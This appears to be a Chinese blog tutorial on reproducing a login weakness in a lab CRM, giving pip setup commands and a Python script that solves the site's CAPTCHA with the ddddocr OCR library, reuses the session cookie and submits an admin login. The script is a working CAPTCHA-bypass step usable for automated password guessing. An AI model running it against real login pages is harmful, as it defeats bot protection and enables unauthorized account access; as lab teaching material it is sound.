Python登录漏洞复现

Python登录漏洞复现

3.1 环境准备

1)升级pip

python 复制代码
pip install --upgrade pip -i https://pypi.tuna.tsinghua.edu.cn/simple

2)安装ddddocr图形识别库

python 复制代码
pip install ddddocr -i https://pypi.tuna.tsinghua.edu.cn/simple

3)安装requests网络请求库

python 复制代码
pip install requests -i https://pypi.tuna.tsinghua.edu.cn/simple

4)安装辅助命令

python 复制代码
pip uninstall -y Pillow
pip install Pillow==9.5.0 -i https://pypi.tuna.tsinghua.edu.cn/simple

3.2 python识别验证码

python 复制代码
# 注意:验证码的session需要与登录的session一致,不然不匹配
import ddddocr
import requests

# 1)创建ocr连接对象
ocr = ddddocr.DdddOcr()

# 2)获取图片内容
resp = requests.get("http://192.168.190.133/crm/php/verifyCode.php")
image = resp.content

# 3)获取sessionId
cookie = resp.headers['Set-Cookie'].split(";")[0]

# 4)获取验证码
str = ocr.classification(image)

# 5)发送登录请求时,添加请求头,将PHPSESSID放到请求头中
head={'Cookie':cookie}
url = "http://192.168.190.133/crm/php/login.php?username=admin&password=123456&code="+str
data = {"account":"admin","password":"123456","authcode":str}
resps = requests.post(url,headers=head,data=data)
print(resps.text)
相关推荐
心疼你的一切1 小时前
三菱FX5U PLC与C#通信开发指南
开发语言·单片机·c#
Tim_101 小时前
【C++入门】04、C++浮点型
开发语言·c++
Ven%1 小时前
从单轮问答到连贯对话:RAG多轮对话技术详解
人工智能·python·深度学习·神经网络·算法
@淡 定1 小时前
Java内存模型(JMM)详解
java·开发语言
谈笑也风生1 小时前
经典算法题型之复数乘法(二)
开发语言·python·算法
hkNaruto1 小时前
【C++】记录一次C++程序编译缓慢原因分析——滥用stdafx.h公共头文件
开发语言·c++
先知后行。1 小时前
python的类
开发语言·python
派大鑫wink2 小时前
【Day12】String 类详解:不可变性、常用方法与字符串拼接优化
java·开发语言
JIngJaneIL2 小时前
基于springboot + vue健康管理系统(源码+数据库+文档)
java·开发语言·数据库·vue.js·spring boot·后端
dyxal2 小时前
Python包导入终极指南:子文件如何成功调用父目录模块
开发语言·python